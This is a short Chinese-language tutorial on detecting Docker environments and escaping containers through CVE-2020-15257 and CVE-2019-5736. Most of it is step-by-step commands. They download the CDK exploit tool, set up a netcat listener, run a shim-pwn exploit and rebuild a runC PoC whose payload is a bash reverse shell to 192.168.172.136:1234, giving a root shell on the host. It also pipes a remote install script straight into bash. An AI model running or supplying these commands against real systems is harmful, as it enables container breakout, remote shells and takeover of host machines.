如何判断是否在docker工作环境下
-
docker环境下:ls -alh /.dockerenv , 非docker环境,没有这个.dockerenv文件的(定制化比较高的docker系统也可能没有这个文件)
-
查询系统进程的cgroup信息 cat /proc/1/cgroup
CVE-2020-15257 容器逃逸漏洞利用
CVE-2020-15257的利用条件——net namespace(–net=host)与宿主机共享
以以下命令运行容器
docker run --rm --net=host -it b7278c37e6e7 /bin/bash
通过wget下载exp
wget https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz
tar -zxvf cdk_v0.1.6_release.tar.gz
在容器内执行 cat /proc/net/unix|grep -a "containerd-shim"
可看到抽象命名空间Unix域套接字,或者执行netstat -xl |grep shim
vps监听端口
nc -lvp 1111
执行exp
./cdk_linux_amd64 run shim-pwn 127.0.0.1 1111
vps收到shell
CVE-2019-5736
引用链接:https://www.cnblogs.com/xiaozi/p/13377619.html
需要宿主机docker exec重新进入容器才可以触发漏洞
漏洞简述:
攻击者可以通过特定的容器镜像或者exec操作可以获取到宿主机的runC执行时的文件句柄并修改掉runc的二进制文件,从而获取到宿主机的root执行权限。
利用条件:
Docker版本 < 18.09.2,runC版本< 1.0-rc6。(在Docker 18.09.2之前的版本中使用了的runc版本小于1.0-rc6。)
可通过 docker 和docker-runc 查看当前版本情况。
漏洞环境准备:
curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh
# 下载POC
git clone https://github.com/Frichetten/CVE-2019-5736-PoC
# 修改Payload
vi main.go
payload = "#!/bin/bash \n bash -i >& /dev/tcp/192.168.172.136/1234 0>&1"
# 编译生成payload
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
编译好将main文件传入容器内授予执行权限
./main
然后宿主机进入容器
docker exec -it cafa20cfb0f9 /bin/sh
vps监听收到shell 查看IP地址为宿主机